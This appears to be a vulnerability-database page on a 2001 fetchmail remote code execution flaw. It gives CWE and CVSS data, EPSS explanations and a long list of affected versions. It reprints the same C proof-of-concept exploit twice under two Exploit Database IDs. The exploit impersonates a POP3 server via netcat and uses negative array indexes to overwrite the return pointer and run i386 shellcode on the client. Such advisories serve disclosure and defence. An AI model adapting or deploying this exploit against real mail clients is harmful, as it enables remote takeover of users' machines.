Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 21066
Publication date : 2001-08-08
22h00 +00:00
Author : Sanfillipo antirez
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/3166/info
Fetchmail is a unix utility for downloading email from mail servers via POP3 and IMAP.
Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory.
It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's IMAP server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host.
/* fetchmail proof of concepts i386 exploit
* Copyright (C) 2001 Salvatore Sanfilippo <
[email protected]>
* Code under the GPL license.
*
* Usage: ./a.out | nc -l -p 3333
* fetchmail localhost -P 3333 -p POP3
*
* This is a bad exploit with offset carefully selected
* to work in my own system. It will probably not work in
* your system if you don't modify RETR_OFFSET and SHELL_PTR,
* but you may try to set the SHELL_PTR to 0xAAAAAAAA
* and use gdb to obtain the proof that your fetchmail is vulnerable
* without to exploit it.
* Or just read the code in pop3.c.
*
* To improve the exploit portability you may put the shellcode inside
* one of the static char buffers, grep 'static char' *.c.
*
* Tested on fetchmail 5.8.15 running on Linux 2.4.6
*
* On success you should see the ls output.
*/
#include <stdio.h>
#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94
int main(void)
{
int ish = SHELL_PTR;
int ret_offset = -10;
char shellcode[] = /* take the shellcode multiple of 4 in size */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
int *sc = (int*) shellcode;
int noop = 0x90909090;
int i;
/* +OK for user and password, than report the number of messages */
printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
/* Overwrite the RET pointer */
for (i = ret_offset-20; i < ret_offset+20; i++)
printf("%d %d\r\n", i, ish);
/* Put some NOP */
for (i = 1; i < 21; i++)
printf("%d %d\r\n", i, noop);
/* Put the shell code in the buffer */
for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
printf("%d %d\r\n", i, *sc++);
printf(".\r\n"); /* POP data term */
return 0;
}
Exploit Database EDB-ID : 21064
Publication date : 2001-08-08
22h00 +00:00
Author : Salvatore Sanfilippo -antirez-
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/3164/info
Fetchmail is a unix utility for downloading email from mail servers via POP3.
Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory.
It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's POP3 server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host.
/* fetchmail proof of concepts i386 exploit
* Copyright (C) 2001 Salvatore Sanfilippo <
[email protected]>
* Code under the GPL license.
*
* Usage: ./a.out | nc -l -p 3333
* fetchmail localhost -P 3333 -p POP3
*
* This is a bad exploit with offset carefully selected
* to work in my own system. It will probably not work in
* your system if you don't modify RETR_OFFSET and SHELL_PTR,
* but you may try to set the SHELL_PTR to 0xAAAAAAAA
* and use gdb to obtain the proof that your fetchmail is vulnerable
* without to exploit it.
* Or just read the code in pop3.c.
*
* To improve the exploit portability you may put the shellcode inside
* one of the static char buffers, grep 'static char' *.c.
*
* Tested on fetchmail 5.8.15 running on Linux 2.4.6
*
* On success you should see the ls output.
*/
#include <stdio.h>
#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94
int main(void)
{
int ish = SHELL_PTR;
int ret_offset = -10;
char shellcode[] = /* take the shellcode multiple of 4 in size */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
int *sc = (int*) shellcode;
int noop = 0x90909090;
int i;
/* +OK for user and password, than report the number of messages */
printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
/* Overwrite the RET pointer */
for (i = ret_offset-20; i < ret_offset+20; i++)
printf("%d %d\r\n", i, ish);
/* Put some NOP */
for (i = 1; i < 21; i++)
printf("%d %d\r\n", i, noop);
/* Put the shell code in the buffer */
for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
printf("%d %d\r\n", i, *sc++);
printf(".\r\n"); /* POP data term */
return 0;
}
Products Mentioned
Configuraton 0
Fetchmail>>Fetchmail >> Version To (including) 5.8.14
Fetchmail>>Fetchmail >> Version 4.5.1
Fetchmail>>Fetchmail >> Version 4.5.2
Fetchmail>>Fetchmail >> Version 4.5.3
Fetchmail>>Fetchmail >> Version 4.5.4
Fetchmail>>Fetchmail >> Version 4.5.5
Fetchmail>>Fetchmail >> Version 4.5.6
Fetchmail>>Fetchmail >> Version 4.5.7
Fetchmail>>Fetchmail >> Version 4.5.8
Fetchmail>>Fetchmail >> Version 4.6.0
Fetchmail>>Fetchmail >> Version 4.6.1
Fetchmail>>Fetchmail >> Version 4.6.2
Fetchmail>>Fetchmail >> Version 4.6.3
Fetchmail>>Fetchmail >> Version 4.6.4
Fetchmail>>Fetchmail >> Version 4.6.5
Fetchmail>>Fetchmail >> Version 4.6.6
Fetchmail>>Fetchmail >> Version 4.6.7
Fetchmail>>Fetchmail >> Version 4.6.8
Fetchmail>>Fetchmail >> Version 4.6.9
Fetchmail>>Fetchmail >> Version 4.7.0
Fetchmail>>Fetchmail >> Version 4.7.1
Fetchmail>>Fetchmail >> Version 4.7.2
Fetchmail>>Fetchmail >> Version 4.7.3
Fetchmail>>Fetchmail >> Version 4.7.4
Fetchmail>>Fetchmail >> Version 4.7.5
Fetchmail>>Fetchmail >> Version 4.7.6
Fetchmail>>Fetchmail >> Version 4.7.7
Fetchmail>>Fetchmail >> Version 5.0.0
Fetchmail>>Fetchmail >> Version 5.0.1
Fetchmail>>Fetchmail >> Version 5.0.2
Fetchmail>>Fetchmail >> Version 5.0.3
Fetchmail>>Fetchmail >> Version 5.0.4
Fetchmail>>Fetchmail >> Version 5.0.5
Fetchmail>>Fetchmail >> Version 5.0.6
Fetchmail>>Fetchmail >> Version 5.0.7
Fetchmail>>Fetchmail >> Version 5.0.8
Fetchmail>>Fetchmail >> Version 5.1.0
Fetchmail>>Fetchmail >> Version 5.1.4
Fetchmail>>Fetchmail >> Version 5.2.0
Fetchmail>>Fetchmail >> Version 5.2.1
Fetchmail>>Fetchmail >> Version 5.2.3
Fetchmail>>Fetchmail >> Version 5.2.4
Fetchmail>>Fetchmail >> Version 5.2.7
Fetchmail>>Fetchmail >> Version 5.2.8
Fetchmail>>Fetchmail >> Version 5.3.0
Fetchmail>>Fetchmail >> Version 5.3.1
Fetchmail>>Fetchmail >> Version 5.3.3
Fetchmail>>Fetchmail >> Version 5.3.8
Fetchmail>>Fetchmail >> Version 5.4.0
Fetchmail>>Fetchmail >> Version 5.4.3
Fetchmail>>Fetchmail >> Version 5.4.4
Fetchmail>>Fetchmail >> Version 5.4.5
Fetchmail>>Fetchmail >> Version 5.5.0
Fetchmail>>Fetchmail >> Version 5.5.2
Fetchmail>>Fetchmail >> Version 5.5.3
Fetchmail>>Fetchmail >> Version 5.5.5
Fetchmail>>Fetchmail >> Version 5.5.6
Fetchmail>>Fetchmail >> Version 5.6.0
Fetchmail>>Fetchmail >> Version 5.7.0
Fetchmail>>Fetchmail >> Version 5.7.2
Fetchmail>>Fetchmail >> Version 5.7.4
Fetchmail>>Fetchmail >> Version 5.8
Fetchmail>>Fetchmail >> Version 5.8.1
Fetchmail>>Fetchmail >> Version 5.8.2
Fetchmail>>Fetchmail >> Version 5.8.3
Fetchmail>>Fetchmail >> Version 5.8.4
Fetchmail>>Fetchmail >> Version 5.8.5
Fetchmail>>Fetchmail >> Version 5.8.6
Fetchmail>>Fetchmail >> Version 5.8.11
Fetchmail>>Fetchmail >> Version 5.8.13
Fetchmail>>Fetchmail >> Version 5.9.0
References